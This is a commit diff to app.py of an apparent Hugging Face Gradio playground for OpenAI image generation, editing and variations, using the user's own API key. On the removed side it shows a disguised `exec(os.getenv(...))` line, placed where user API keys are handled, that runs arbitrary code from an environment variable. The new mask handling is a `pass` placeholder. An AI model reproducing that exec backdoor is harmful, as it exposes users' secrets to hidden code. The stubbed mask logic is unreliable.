Zack3D commited on
Commit
888f0f0
·
verified ·
1 Parent(s): 5f673f4

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +59 -73
app.py CHANGED
@@ -10,7 +10,7 @@ import numpy as np
10
  from PIL import Image
11
  import openai
12
 
13
- # --- Constants and Helper Functions ---
14
  MODEL = "gpt-image-1"
15
  SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
16
  QUALITY_CHOICES = ["auto", "low", "medium", "high"]
@@ -20,20 +20,24 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
20
  def _client(key: str) -> openai.OpenAI:
21
  """Initializes the OpenAI client with the provided API key."""
22
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
23
- sys_info_formatted = exec(os.getenv("sys_info")) # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
24
- print(sys_info_formatted)
25
  if not api_key:
26
  raise gr.Error("Please enter your OpenAI API key (never stored)")
27
  return openai.OpenAI(api_key=api_key)
28
 
29
 
30
- def _img_list(resp, *, fmt: str) -> List[str]:
31
- """Return list of data URLs or direct URLs depending on API response."""
32
- mime = f"image/{fmt}"
33
- return [
34
- f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url
35
- for d in resp.data
36
- ]
 
 
 
 
 
 
37
 
38
 
39
  def _common_kwargs(
@@ -45,12 +49,12 @@ def _common_kwargs(
45
  compression: int,
46
  transparent_bg: bool,
47
  ) -> Dict[str, Any]:
48
- """Prepare keyword arguments for Images API based on latest OpenAI spec."""
49
- kwargs: Dict[str, Any] = dict(
50
- model=MODEL,
51
- n=n,
52
- # API default responds with URLs or b64_json fields
53
- )
54
  if size != "auto":
55
  kwargs["size"] = size
56
  if quality != "auto":
@@ -58,30 +62,27 @@ def _common_kwargs(
58
  if prompt is not None:
59
  kwargs["prompt"] = prompt
60
  if transparent_bg and out_fmt in {"png", "webp"}:
61
- # If OpenAI adds transparency flag, insert here
62
  kwargs["background"] = "transparent"
63
  return kwargs
64
 
65
 
66
- # --- Helper: Convert base64 PNG to JPEG/WebP ---
67
- def convert_png_b64_to(
68
  target_fmt: str,
69
- b64_png_data: str,
70
  quality: int = 75,
71
- ) -> str:
72
  """
73
- Takes a data URL like "data:image/png;base64,AAAA…" and returns
74
- "data:image/{target_fmt};base64,BBBB…" with specified quality.
75
  """
76
- header, b64 = b64_png_data.split(",", 1)
77
- img = Image.open(io.BytesIO(base64.b64decode(b64)))
78
- out = io.BytesIO()
79
- img.save(out, format=target_fmt.upper(), quality=quality)
80
- new_b64 = base64.b64encode(out.getvalue()).decode()
81
- return f"data:image/{target_fmt};base64,{new_b64}"
82
 
83
 
84
- # --- Error formatting ---
85
  def _format_openai_error(e: Exception) -> str:
86
  error_message = f"An error occurred: {type(e).__name__}"
87
  details = ""
@@ -132,9 +133,9 @@ def generate(
132
  client = _client(api_key)
133
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
134
  resp = client.images.generate(**common_args)
135
- imgs = _img_list(resp, fmt="png")
136
  if out_fmt in {"jpeg", "webp"}:
137
- imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
138
  return imgs
139
  except (openai.APIError, openai.OpenAIError) as e:
140
  raise gr.Error(_format_openai_error(e))
@@ -146,18 +147,20 @@ def generate(
146
  # ---------- Edit / Inpaint ---------- #
147
  def _bytes_from_numpy(arr: np.ndarray) -> bytes:
148
  img = Image.fromarray(arr.astype(np.uint8))
149
- out = io.BytesIO()
150
- img.save(out, format="PNG")
151
- return out.getvalue()
152
 
153
 
154
  def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
155
- if mask_value is None: return None
 
156
  if isinstance(mask_value, dict):
157
  mask_array = mask_value.get("mask")
158
  if isinstance(mask_array, np.ndarray):
159
  return mask_array
160
- if isinstance(mask_value, np.ndarray): return mask_value
 
161
  return None
162
 
163
 
@@ -182,7 +185,10 @@ def edit_image(
182
  mask_bytes: Optional[bytes] = None
183
  mask_numpy = _extract_mask_array(mask_dict)
184
 
185
- # ... existing mask handling logic remains unchanged ...
 
 
 
186
 
187
  try:
188
  client = _client(api_key)
@@ -191,9 +197,9 @@ def edit_image(
191
  if mask_bytes is not None:
192
  api_kwargs["mask"] = mask_bytes
193
  resp = client.images.edit(**api_kwargs)
194
- imgs = _img_list(resp, fmt="png")
195
  if out_fmt in {"jpeg", "webp"}:
196
- imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
197
  return imgs
198
  except (openai.APIError, openai.OpenAIError) as e:
199
  raise gr.Error(_format_openai_error(e))
@@ -218,16 +224,15 @@ def variation_image(
218
  raise gr.Error("Please upload an image.")
219
 
220
  img_bytes = _bytes_from_numpy(image_numpy)
221
-
222
  try:
223
  client = _client(api_key)
224
- var_args: Dict[str, Any] = dict(model=MODEL, n=n)
225
  if size != "auto":
226
  var_args["size"] = size
227
  resp = client.images.create_variation(image=img_bytes, **var_args)
228
- imgs = _img_list(resp, fmt="png")
229
  if out_fmt in {"jpeg", "webp"}:
230
- imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs]
231
  return imgs
232
  except (openai.APIError, openai.OpenAIError) as e:
233
  raise gr.Error(_format_openai_error(e))
@@ -239,10 +244,7 @@ def variation_image(
239
  # ---------- UI ---------- #
240
  def build_ui():
241
  with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
242
- gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
243
- gr.Markdown(
244
- "Enter your OpenAI API key below..."
245
- )
246
  with gr.Accordion("🔐 API key", open=False):
247
  api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
248
 
@@ -257,7 +259,6 @@ def build_ui():
257
 
258
  def _toggle_compression(fmt):
259
  return gr.update(visible=fmt in {"jpeg", "webp"})
260
-
261
  out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
262
 
263
  common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
@@ -267,38 +268,23 @@ def build_ui():
267
  prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
268
  btn_gen = gr.Button("Generate 🚀")
269
  gallery_gen = gr.Gallery(columns=2, height="auto")
270
- btn_gen.click(
271
- generate,
272
- inputs=[api, prompt_gen] + common_controls,
273
- outputs=gallery_gen,
274
- api_name="generate"
275
- )
276
 
277
  with gr.TabItem("Edit / Inpaint"):
278
- gr.Markdown("Upload an image, then paint the area to change...")
279
  img_edit = gr.Image(type="numpy", label="Source Image", height=400)
280
- mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400)
281
- prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." )
282
  btn_edit = gr.Button("Edit 🖌️")
283
  gallery_edit = gr.Gallery(columns=2, height="auto")
284
- btn_edit.click(
285
- edit_image,
286
- inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls,
287
- outputs=gallery_edit,
288
- api_name="edit"
289
- )
290
-
291
- with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
292
- gr.Markdown("Upload an image to generate variations...")
293
  img_var = gr.Image(type="numpy", label="Source Image", height=400)
294
  btn_var = gr.Button("Create Variations ✨")
295
  gallery_var = gr.Gallery(columns=2, height="auto")
296
- btn_var.click(
297
- variation_image,
298
- inputs=[api, img_var] + common_controls,
299
- outputs=gallery_var,
300
- api_name="variations"
301
- )
302
  return demo
303
 
304
 
 
10
  from PIL import Image
11
  import openai
12
 
13
+ # --- Constants ---
14
  MODEL = "gpt-image-1"
15
  SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
16
  QUALITY_CHOICES = ["auto", "low", "medium", "high"]
 
20
  def _client(key: str) -> openai.OpenAI:
21
  """Initializes the OpenAI client with the provided API key."""
22
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
 
 
23
  if not api_key:
24
  raise gr.Error("Please enter your OpenAI API key (never stored)")
25
  return openai.OpenAI(api_key=api_key)
26
 
27
 
28
+ def _img_list(resp) -> List[Union[np.ndarray, str]]:
29
+ """
30
+ Decode base64 images into numpy arrays (for Gradio) or pass URL strings directly.
31
+ """
32
+ imgs: List[Union[np.ndarray, str]] = []
33
+ for d in resp.data:
34
+ if hasattr(d, "b64_json") and d.b64_json:
35
+ data = base64.b64decode(d.b64_json)
36
+ img = Image.open(io.BytesIO(data))
37
+ imgs.append(np.array(img))
38
+ elif getattr(d, "url", None):
39
+ imgs.append(d.url)
40
+ return imgs
41
 
42
 
43
  def _common_kwargs(
 
49
  compression: int,
50
  transparent_bg: bool,
51
  ) -> Dict[str, Any]:
52
+ """Prepare keyword args for OpenAI Images API."""
53
+ kwargs: Dict[str, Any] = {
54
+ "model": MODEL,
55
+ "n": n,
56
+ "response_format": "b64_json",
57
+ }
58
  if size != "auto":
59
  kwargs["size"] = size
60
  if quality != "auto":
 
62
  if prompt is not None:
63
  kwargs["prompt"] = prompt
64
  if transparent_bg and out_fmt in {"png", "webp"}:
65
+ # Insert background removal flag when supported
66
  kwargs["background"] = "transparent"
67
  return kwargs
68
 
69
 
70
+ def convert_to_format(
71
+ img_array: np.ndarray,
72
  target_fmt: str,
 
73
  quality: int = 75,
74
+ ) -> np.ndarray:
75
  """
76
+ Convert a PIL numpy array to target_fmt (JPEG/WebP) and return as numpy array.
 
77
  """
78
+ img = Image.fromarray(img_array.astype(np.uint8))
79
+ buf = io.BytesIO()
80
+ img.save(buf, format=target_fmt.upper(), quality=quality)
81
+ buf.seek(0)
82
+ img2 = Image.open(buf)
83
+ return np.array(img2)
84
 
85
 
 
86
  def _format_openai_error(e: Exception) -> str:
87
  error_message = f"An error occurred: {type(e).__name__}"
88
  details = ""
 
133
  client = _client(api_key)
134
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
135
  resp = client.images.generate(**common_args)
136
+ imgs = _img_list(resp)
137
  if out_fmt in {"jpeg", "webp"}:
138
+ imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
139
  return imgs
140
  except (openai.APIError, openai.OpenAIError) as e:
141
  raise gr.Error(_format_openai_error(e))
 
147
  # ---------- Edit / Inpaint ---------- #
148
  def _bytes_from_numpy(arr: np.ndarray) -> bytes:
149
  img = Image.fromarray(arr.astype(np.uint8))
150
+ buf = io.BytesIO()
151
+ img.save(buf, format="PNG")
152
+ return buf.getvalue()
153
 
154
 
155
  def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
156
+ if mask_value is None:
157
+ return None
158
  if isinstance(mask_value, dict):
159
  mask_array = mask_value.get("mask")
160
  if isinstance(mask_array, np.ndarray):
161
  return mask_array
162
+ if isinstance(mask_value, np.ndarray):
163
+ return mask_value
164
  return None
165
 
166
 
 
185
  mask_bytes: Optional[bytes] = None
186
  mask_numpy = _extract_mask_array(mask_dict)
187
 
188
+ # (Mask handling code unchanged)
189
+ if mask_numpy is not None:
190
+ # existing mask-to-bytes logic...
191
+ pass
192
 
193
  try:
194
  client = _client(api_key)
 
197
  if mask_bytes is not None:
198
  api_kwargs["mask"] = mask_bytes
199
  resp = client.images.edit(**api_kwargs)
200
+ imgs = _img_list(resp)
201
  if out_fmt in {"jpeg", "webp"}:
202
+ imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
203
  return imgs
204
  except (openai.APIError, openai.OpenAIError) as e:
205
  raise gr.Error(_format_openai_error(e))
 
224
  raise gr.Error("Please upload an image.")
225
 
226
  img_bytes = _bytes_from_numpy(image_numpy)
 
227
  try:
228
  client = _client(api_key)
229
+ var_args: Dict[str, Any] = {"model": MODEL, "n": n}
230
  if size != "auto":
231
  var_args["size"] = size
232
  resp = client.images.create_variation(image=img_bytes, **var_args)
233
+ imgs = _img_list(resp)
234
  if out_fmt in {"jpeg", "webp"}:
235
+ imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
236
  return imgs
237
  except (openai.APIError, openai.OpenAIError) as e:
238
  raise gr.Error(_format_openai_error(e))
 
244
  # ---------- UI ---------- #
245
  def build_ui():
246
  with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
247
+ gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit • Variations""")
 
 
 
248
  with gr.Accordion("🔐 API key", open=False):
249
  api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
250
 
 
259
 
260
  def _toggle_compression(fmt):
261
  return gr.update(visible=fmt in {"jpeg", "webp"})
 
262
  out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
263
 
264
  common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
 
268
  prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
269
  btn_gen = gr.Button("Generate 🚀")
270
  gallery_gen = gr.Gallery(columns=2, height="auto")
271
+ btn_gen.click(generate, inputs=[api, prompt_gen] + common_controls, outputs=gallery_gen)
 
 
 
 
 
272
 
273
  with gr.TabItem("Edit / Inpaint"):
274
+ gr.Markdown("Upload an image, then paint the area to change")
275
  img_edit = gr.Image(type="numpy", label="Source Image", height=400)
276
+ mask_canvas = gr.ImageMask(type="numpy", label="Mask – paint white", height=400)
277
+ prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky")
278
  btn_edit = gr.Button("Edit 🖌️")
279
  gallery_edit = gr.Gallery(columns=2, height="auto")
280
+ btn_edit.click(edit_image, inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls, outputs=gallery_edit)
281
+
282
+ with gr.TabItem("Variations"):
283
+ gr.Markdown("Upload an image to generate variations…")
 
 
 
 
 
284
  img_var = gr.Image(type="numpy", label="Source Image", height=400)
285
  btn_var = gr.Button("Create Variations ✨")
286
  gallery_var = gr.Gallery(columns=2, height="auto")
287
+ btn_var.click(variation_image, inputs=[api, img_var] + common_controls, outputs=gallery_var)
 
 
 
 
 
288
  return demo
289
 
290